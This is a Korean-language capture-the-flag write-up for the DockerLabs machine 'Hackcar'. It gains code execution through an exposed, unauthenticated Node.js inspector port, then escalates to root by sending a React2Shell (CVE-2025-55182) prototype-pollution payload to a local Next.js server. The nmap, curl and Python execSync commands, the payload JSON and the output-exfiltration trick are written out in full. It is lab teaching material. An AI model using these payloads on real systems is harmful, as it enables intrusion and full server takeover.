
작성 노트: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)
플랫폼: DockerLabs 난이도: 중간 (대략, 나름 까다로움) 목표:
webuser에서root로, Next.js를 깨부수기
언제나 그렇듯, 먼저 눈앞에 뭐가 있는지 봐야 한다.
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
잠깐... 9229? 이 포트는 정상이 아니다. 그리고 전체 스캔을 돌려보니 포트가 딱 두 개뿐이다:
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
9229는 전형적인 Node.js inspector (디버거) 포트다. 보호 없이 노출되어 있다면, 사실상 코드 실행으로 통하는 열린 문이나 다름없다. 확인해보자.
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
됐다. Node 디버거가 인증 없이 노출되어 있고, 게다가 앱이 어디 사는지까지 알려준다. 이건 바로 RCE다.
디버거가 노출되어 있으니, WebSocket에 연결해서 Runtime.evaluate로 Node 프로세스 안에서 원하는 걸 실행하기만 하면 된다.
디버거 URL을 뽑아내고 process.mainModule.require('child_process').execSync()로 명령을 실행하는 빠른 Python 스크립트를 만들었다:
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
따옴표랑 싸우지 않으려고, 명령 전체를 base64로 보내고 프로세스 안에서 디코딩한다. 첫 테스트:
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
webuser로서 RCE. 머신을 손에 넣은 거나 다름없다... 그렇게 생각했다. 알고 보니 진짜 알짜배기는 더 숨겨져 있었다.
머신에서 뭐가 더 돌고 있는지 프로세스를 보자:
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
주목! Next.js 버전 15.0.0-rc.1이 ROOT로 포트 3000에서 돌고 있다 (localhost만). 이건 권한 상승 냄새... 그리고 CVE 냄새가 난다.
컨테이너 안에서 127.0.0.1에만 바인딩되어 있으니 밖에서는 건드릴 수 없다. 하지만 RCE가 있으니 안에서 접근할 수 있다. 먼저 이게 뭔지 보자:
curl -s http://127.0.0.1:3000/
"Internal Administration Portal" — 내부 관리 포털이 나타난다. 아주 군침 도는 물건이다.
user 플래그는 금방 찾았다:
DL{g2QrDUvg3HiqaWeZBbZa}
이제 그 Next.js를 통해 root로 권한 상승할 차례다.
버전은 Next.js 15.0.0-rc.1이고, 이는 유명한 React2Shell (CVE-2025-55182) 에 취약한 React 19를 사용한다: RSC 파서(React Server Components / Flight 프로토콜)의 프로토타입 오염을 통한 치명적 RCE (CVSS 10.0)다.
익스플로잇은 Next-Action 헤더가 붙은 잘못된 형식의 multipart/form-data로, React 파서가 오염된 객체를 역직렬화하게 만들어 결국 우리 코드로 Function 생성자를 호출하게 한다:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<실행할 JS 코드>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
즉: Chunk.prototype.then을 오염시키고, 파서가 우리 모델을 로드하며, 프로미스를 해결할 때 우리 JavaScript가 root로 실행되는 Next.js 프로세스 안에서 실행된다.
출력을 빼내기 위해 "redirect" 모드를 사용했다: 코드가 명령을 실행하고, 결과를 base64로 인코딩해서 Error의 digest 속성에 넣으면, Next.js가 이를 헤더로 반환한다:
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
최종 요청:
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
서버는 500으로 응답하고 (정상이다, 의도된 에러다), 헤더에:
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
디코딩하자:
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
우리가 ROOT다. 그리고 플래그:
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (Express 웹, 정적, 그냥 연막)
└─ 9229 (Node.js inspector 노출)
└─ Runtime.evaluate를 통한 webuser로서 RCE
└─ 열거: 127.0.0.1:3000에서 ROOT로 돌아가는 Next.js 15.0.0-rc.1
└─ CVE-2025-55182 (React2Shell): root RCE
└─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}
플래그:
| 파일 | 플래그 |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | 취약점 | CWE | 우리가 얻은 것 |
|---|---|---|---|
| 1 | 인증 없는 Node.js inspector (포트 9229) | CWE-284 | webuser로서 RCE |
| 2 | 구버전 Next.js 15.0.0-rc.1 (React2Shell, CVE-2025-55182) | CWE-1321 / CWE-502 | root로서 RCE |
교훈:
| 도구 | 용도 |
|---|---|
nmap | 포트 정찰 |
curl | 웹 열거 및 익스플로잇 발사 |
websocket-client (Python) | Node inspector와 통신 |
jadx | 이전 머신 (여기선 아님, 그래도 여전히 멋지다고 생각한다) |
base64 | 따옴표 문제 없이 페이로드 전송 |
교육 목적의 Writeup. 권한이 있는 머신에서만 건드려라 (DockerLabs, HTB, 자기 자신의 랩).